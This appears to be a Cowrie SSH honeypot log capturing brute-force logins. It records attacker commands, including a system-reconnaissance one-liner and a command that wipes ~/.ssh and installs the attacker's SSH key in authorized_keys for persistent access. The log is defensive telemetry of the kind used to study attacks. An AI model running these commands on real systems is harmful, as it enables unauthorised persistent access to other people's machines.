{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.481951Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.484853Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:24.487415Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:25.265585Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:16:25.270664Z","src_ip":"91.92.240.199","session":"0d04a8dc4359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":44876,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b36d0ba5c5c","protocol":"ssh","message":"New connection: 91.92.240.199:44876 (159.203.135.109:22) [session: 7b36d0ba5c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:26.989601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:27.488971Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:27.492694Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:29.585718Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.541499Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.544873Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.547971Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.550286Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.553230Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:30.557413Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:31.264662Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:18:31.269986Z","src_ip":"91.92.240.199","session":"7b36d0ba5c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.18.55.118","src_port":42950,"dst_ip":"159.203.135.109","dst_port":22,"session":"c448889a873d","protocol":"ssh","message":"New connection: 119.18.55.118:42950 (159.203.135.109:22) [session: c448889a873d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:14.006416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:14.011375Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:14.202933Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"AA@123123","message":"login attempt [root/AA@123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:14.989165Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:15.406536Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:15.410537Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:15.414812Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:15.608299Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.022229Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.025903Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.219238Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.223147Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.18.55.118","src_port":55668,"dst_ip":"159.203.135.109","dst_port":22,"session":"280c4cbd9e31","protocol":"ssh","message":"New connection: 119.18.55.118:55668 (159.203.135.109:22) [session: 280c4cbd9e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.422178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.427548Z","src_ip":"119.18.55.118","session":"280c4cbd9e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:16.633034Z","src_ip":"119.18.55.118","session":"280c4cbd9e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:17.487337Z","src_ip":"119.18.55.118","session":"280c4cbd9e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:18.695701Z","src_ip":"119.18.55.118","session":"280c4cbd9e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.18.55.118","src_port":55674,"dst_ip":"159.203.135.109","dst_port":22,"session":"d058a872bed3","protocol":"ssh","message":"New connection: 119.18.55.118:55674 (159.203.135.109:22) [session: d058a872bed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:18.909028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:18.913517Z","src_ip":"119.18.55.118","session":"d058a872bed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:19.130076Z","src_ip":"119.18.55.118","session":"d058a872bed3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:20.020848Z","src_ip":"119.18.55.118","session":"d058a872bed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:20.232623Z","src_ip":"119.18.55.118","session":"c448889a873d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:20.237847Z","src_ip":"119.18.55.118","session":"d058a872bed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":52124,"dst_ip":"10.17.0.5","dst_port":22,"session":"71bb13c190ed","protocol":"ssh","message":"New connection: 185.156.73.233:52124 (10.17.0.5:22) [session: 71bb13c190ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:36.665081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:36.670731Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 